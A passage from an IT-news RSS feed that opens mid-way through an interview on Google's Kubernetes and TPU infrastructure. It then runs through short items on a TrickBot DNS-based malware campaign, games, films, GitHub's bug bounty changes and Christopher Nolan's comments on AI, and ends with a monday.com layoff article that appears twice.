<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands]]></title>
<description><![CDATA[TrickBot has quietly evolved into a more covert threat by turning everyday DNS traffic into a stealth channel for malware commands, making its activity harder to spot on busy enterprise networks. In a recent campaign, a new variant was seen hijacking Windows systems and using DNS queries and resp...]]></description>
<link>https://tsecurity.de/de/3688949/it-security-nachrichten/trickbot-turns-ordinary-dns-traffic-into-a-hidden-channel-for-malware-commands/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688949/it-security-nachrichten/trickbot-turns-ordinary-dns-traffic-into-a-hidden-channel-for-malware-commands/</guid>
<pubDate>Thu, 23 Jul 2026 13:59:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>TrickBot has quietly evolved into a more covert threat by turning everyday DNS traffic into a stealth channel for malware commands, making its activity harder to spot on busy enterprise networks. In a recent campaign, a new variant was seen hijacking Windows systems and using DNS queries and responses to move command and control data […]</p>
<p>The post <a href="https://cybersecuritynews.com/trickbot-dns-traffic-hidden-channel/">TrickBot Turns Ordinary DNS Traffic Into a Hidden Channel for Malware Commands</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Go-Go Town! Review (PC)]]></title>
<description><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, han...]]></description>
<link>https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</guid>
<pubDate>Thu, 23 Jul 2026 13:45:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, handling the infrastructure, while also completing all kinds of unique objectives. The game also features co-op, which helps take the madness to new heights, and it’s even more exciting all the same.

The game’s premises are interesting, and the fact that it features a colorful cartoony style makes it even more interesting. But unlike other mayors that just issue orders, you are also taking part in the work as well. So yes, you have to complete tasks, manufacture goods, acquire resources and clean trash. It’s certainly not a glamorous life, but it is something fun, and a very immersive experience you will enjoy.

However, as the town expands, you are shifting away from hands-on ...]]></content:encoded>
</item>
<item>
<title><![CDATA[It's your last chance to save 50% on Criterion 4K Blu-rays at Amazon and Barnes & Noble! Don't miss the movie mega-sale before it ends soon]]></title>
<description><![CDATA[You've only got a few days left to shop the huge 4K Blu-ray sale]]></description>
<link>https://tsecurity.de/de/3688800/it-nachrichten/its-your-last-chance-to-save-50-on-criterion-4k-blu-rays-at-amazon-and-barnes-noble-dont-miss-the-movie-mega-sale-before-it-ends-soon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688800/it-nachrichten/its-your-last-chance-to-save-50-on-criterion-4k-blu-rays-at-amazon-and-barnes-noble-dont-miss-the-movie-mega-sale-before-it-ends-soon/</guid>
<pubDate>Thu, 23 Jul 2026 13:07:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You've only got a few days left to shop the huge 4K Blu-ray sale]]></content:encoded>
</item>
<item>
<title><![CDATA[The new trailer for Clayface is pure nightmare fuel — here's everything you need to know about the forthcoming body horror comic book movie]]></title>
<description><![CDATA[DC Studios has unveiled a fresh trailer for its forthcoming body horror comic book movie Clayface.]]></description>
<link>https://tsecurity.de/de/3688624/it-nachrichten/the-new-trailer-for-clayface-is-pure-nightmare-fuel-heres-everything-you-need-to-know-about-the-forthcoming-body-horror-comic-book-movie/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688624/it-nachrichten/the-new-trailer-for-clayface-is-pure-nightmare-fuel-heres-everything-you-need-to-know-about-the-forthcoming-body-horror-comic-book-movie/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[DC Studios has unveiled a fresh trailer for its forthcoming body horror comic book movie Clayface.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘The Child Is Terrified’: Measles Doctors Speak Out]]></title>
<description><![CDATA[Hear from six pediatricians in measles hot spot Utah, as the US faces infection levels not seen in over three decades and prepares to lose its status as a country that eliminated the dangerous disease.]]></description>
<link>https://tsecurity.de/de/3688460/it-nachrichten/the-child-is-terrified-measles-doctors-speak-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688460/it-nachrichten/the-child-is-terrified-measles-doctors-speak-out/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hear from six pediatricians in measles hot spot Utah, as the US faces infection levels not seen in over three decades and prepares to lose its status as a country that eliminated the dangerous disease.]]></content:encoded>
</item>
<item>
<title><![CDATA[GitHub revamps bug bounty program with new VIP tier, payout changes]]></title>
<description><![CDATA[GitHub is changing its bug bounty program to reward higher-quality vulnerability reports and reduce low-effort submissions, including AI-generated reports. The changes will take effect on July 27, 2026. Reports submitted before that date will be honored under the previous bounty structure. “Along...]]></description>
<link>https://tsecurity.de/de/3688408/it-security-nachrichten/github-revamps-bug-bounty-program-with-new-vip-tier-payout-changes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688408/it-security-nachrichten/github-revamps-bug-bounty-program-with-new-vip-tier-payout-changes/</guid>
<pubDate>Thu, 23 Jul 2026 10:43:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>GitHub is changing its bug bounty program to reward higher-quality vulnerability reports and reduce low-effort submissions, including AI-generated reports. The changes will take effect on July 27, 2026. Reports submitted before that date will be honored under the previous bounty structure. “Alongside the growth in legitimate reports, we’ve seen a sharp increase in submissions that don’t demonstrate real security impact. These include reports without a proof of concept, theoretical attack scenarios that don’t hold up … <a href="https://www.helpnetsecurity.com/2026/07/23/github-bug-bounty-program-changes/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/github-bug-bounty-program-changes/">GitHub revamps bug bounty program with new VIP tier, payout changes</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Christopher Nolan Rises Into Letterboxd’s Top 10 Directors With Seven Acclaimed Films]]></title>
<description><![CDATA[Christopher Nolan has strengthened his position among Letterboxd’s most represented directors, with seven of his movies now included in the platform’s Top 500 Films list.



Letterboxd ranks narrative feature films using average ratings submitted by its members. The official list requires a film ...]]></description>
<link>https://tsecurity.de/de/3688399/ios-mac-os/christopher-nolan-rises-into-letterboxds-top-10-directors-with-seven-acclaimed-films/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688399/ios-mac-os/christopher-nolan-rises-into-letterboxds-top-10-directors-with-seven-acclaimed-films/</guid>
<pubDate>Thu, 23 Jul 2026 10:36:50 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christopher Nolan has strengthened his position among Letterboxd’s most represented directors, with seven of his movies now included in the platform’s Top 500 Films list.



Letterboxd ranks narrative feature films using average ratings submitted by its members. The official list requires a film to have at least 25,000 ratings, which prevents titles with only a small number of high scores from entering the ranking.



Christopher Nolan’s Films in Letterboxd Top 500







FilmLetterboxd rankThe Dark Knight24Interstellar34The Odyssey115The Prestige171Inception260Memento384Oppenheimer437



The Dark Knight remains Nolan’s highest-ranked film at number 24, followed closely by Interstellar at number 34. Both movies continue to receive strong ratings years after their original releases.



The Prestige, Inception, Memento, and Oppenheimer also appear in the Top 500, showing the lasting popularity of Nolan’s thrillers, science-fiction stories, and historical dramas.



The Odyssey Raises Nolan’s Total to Seven







Nolan previously had six films on the list. However, The Odyssey entered the ranking at number 115 during the July 19, 2026 update, increasing his total to seven.



The addition gives Nolan another major achievement and places him among a small group of directors with several films represented in Letterboxd’s highest-rated selection.



His rankings also show the wide appeal of his work. Nolan has earned recognition for superhero films, space adventures, psychological mysteries, historical stories, and large-scale action movies.



Since Letterboxd rankings change as members add new ratings, individual positions can rise or fall. Still, placing seven films inside the Top 500 highlights Nolan’s strong reputation among modern movie audiences.]]></content:encoded>
</item>
<item>
<title><![CDATA[Megan Fox Reportedly Returning for ‘Jennifer’s Body 2’ as October Filming Nears]]></title>
<description><![CDATA[Megan Fox is reportedly preparing to return as Jennifer Check in Jennifer’s Body 2, with production currently targeting an October 2026 start.



Jennifer’s Body 2 production details



A recent production report claims filming will take place in Vancouver, Canada. Karyn Kusama is expected to ret...]]></description>
<link>https://tsecurity.de/de/3688398/ios-mac-os/megan-fox-reportedly-returning-for-jennifers-body-2-as-october-filming-nears/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688398/ios-mac-os/megan-fox-reportedly-returning-for-jennifers-body-2-as-october-filming-nears/</guid>
<pubDate>Thu, 23 Jul 2026 10:36:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Megan Fox is reportedly preparing to return as Jennifer Check in Jennifer’s Body 2, with production currently targeting an October 2026 start.



Jennifer’s Body 2 production details



A recent production report claims filming will take place in Vancouver, Canada. Karyn Kusama is expected to return as director, while original screenwriter Diablo Cody is working on the sequel’s script.



Fox’s return has reportedly been confirmed by people familiar with the project. Amanda Seyfried is also expected to reprise her role as Anita “Needy” Lesnicki, although her involvement has not received the same level of confirmation.



DetailReported informationProduction startOctober 2026Filming locationVancouver, CanadaReturning starMegan Fox as Jennifer CheckExpected cast memberAmanda Seyfried as NeedyScreenwriterDiablo CodyDirectorKaryn KusamaOfficial studio announcementNot released yet



The sequel is moving closer to production



Diablo Cody has been developing the project for 20th Century Studios. Kusama previously described the script as fun and unpredictable, suggesting that the sequel will retain the dark comedy and horror elements that shaped the original movie.



The first Jennifer’s Body arrived in 2009 and followed a demonically possessed high school student who began killing and eating her male classmates. Although the film received mixed reviews and modest box office results during its original release, it later developed a strong cult following.



Important details remain unknown, including the sequel’s plot, complete cast, release date and official title. The October production schedule also remains unconfirmed by 20th Century Studios.



Still, the reported return of Megan Fox, Cody and Kusama indicates that Jennifer’s Body 2 has moved beyond early discussions and is getting closer to filming.]]></content:encoded>
</item>
<item>
<title><![CDATA[Christopher Nolan Says AI Is a ‘Trojan Horse’ Everyone Knows About]]></title>
<description><![CDATA[Christopher Nolan has compared artificial intelligence to a “Trojan horse that everybody knows the Greeks are inside,” highlighting growing public distrust of the technology.



Nolan calls AI a transparent Trojan horse




https://youtu.be/3jHpisxcmkc




The filmmaker made the comments during a...]]></description>
<link>https://tsecurity.de/de/3688347/ios-mac-os/christopher-nolan-says-ai-is-a-trojan-horse-everyone-knows-about/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688347/ios-mac-os/christopher-nolan-says-ai-is-a-trojan-horse-everyone-knows-about/</guid>
<pubDate>Thu, 23 Jul 2026 10:10:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christopher Nolan has compared artificial intelligence to a “Trojan horse that everybody knows the Greeks are inside,” highlighting growing public distrust of the technology.



Nolan calls AI a transparent Trojan horse




https://youtu.be/3jHpisxcmkc




The filmmaker made the comments during a recent interview while discussing technology and the public response to artificial intelligence. Nolan said AI resembles a transparent horse made of glass because people can clearly see what companies are trying to introduce.



“It’s a transparent horse, it’s made of glass. Everybody can see what’s going on inside of there,” Nolan said.



The comparison refers to the Trojan Horse from Greek mythology, which secretly carried soldiers into the city of Troy. According to Nolan, modern AI does not have the same level of secrecy because users already understand many of the concerns surrounding the technology.



Young people are rejecting AI content



Nolan also said he has never seen a technology develop so quickly while facing such strong public resistance. He pointed specifically to younger people, who often question AI-generated material and describe low-quality output as “AI slop.”



His comments reflect wider concerns about AI replacing human work, using copyrighted material, spreading inaccurate information and reducing the value of original creative work.



Nolan did not argue that every use of AI should stop. Instead, he supported a cautious approach that examines who controls the technology, how it is trained and why companies are promoting it.



The director’s remarks also connect closely with his filmmaking methods. Nolan regularly relies on practical sets, physical effects, real locations and large-format film cameras rather than building entire scenes through digital tools.



His latest comments suggest that audiences still value visible human effort, especially in films, music, writing and other creative industries. As AI continues to advance, public trust will depend heavily on transparency, consent and responsible use.]]></content:encoded>
</item>
<item>
<title><![CDATA[Avengers: Doomsday Reveals First Look at Latverian Witch Costume]]></title>
<description><![CDATA[A first look at the Latverian Witch from Avengers: Doomsday has appeared at San Diego Comic-Con 2026, offering another glimpse into Doctor Doom’s world.



Latverian Witch Costume Displayed at SDCC













The costume features a dark green hooded robe with layered fabric, metallic details, a...]]></description>
<link>https://tsecurity.de/de/3688319/ios-mac-os/avengers-doomsday-reveals-first-look-at-latverian-witch-costume/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688319/ios-mac-os/avengers-doomsday-reveals-first-look-at-latverian-witch-costume/</guid>
<pubDate>Thu, 23 Jul 2026 09:59:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A first look at the Latverian Witch from Avengers: Doomsday has appeared at San Diego Comic-Con 2026, offering another glimpse into Doctor Doom’s world.



Latverian Witch Costume Displayed at SDCC













The costume features a dark green hooded robe with layered fabric, metallic details, and a mysterious mask. Its design closely matches Latveria’s medieval and mystical style.



Marvel has not revealed who wears the costume or how the character fits into the story. However, the display suggests witches could have a role connected to Victor von Doom, played by Robert Downey Jr. The movie arrives in theaters on December 18, 2026.]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687832/it-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 03:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687828/it-security-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Thu, 23 Jul 2026 02:50:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



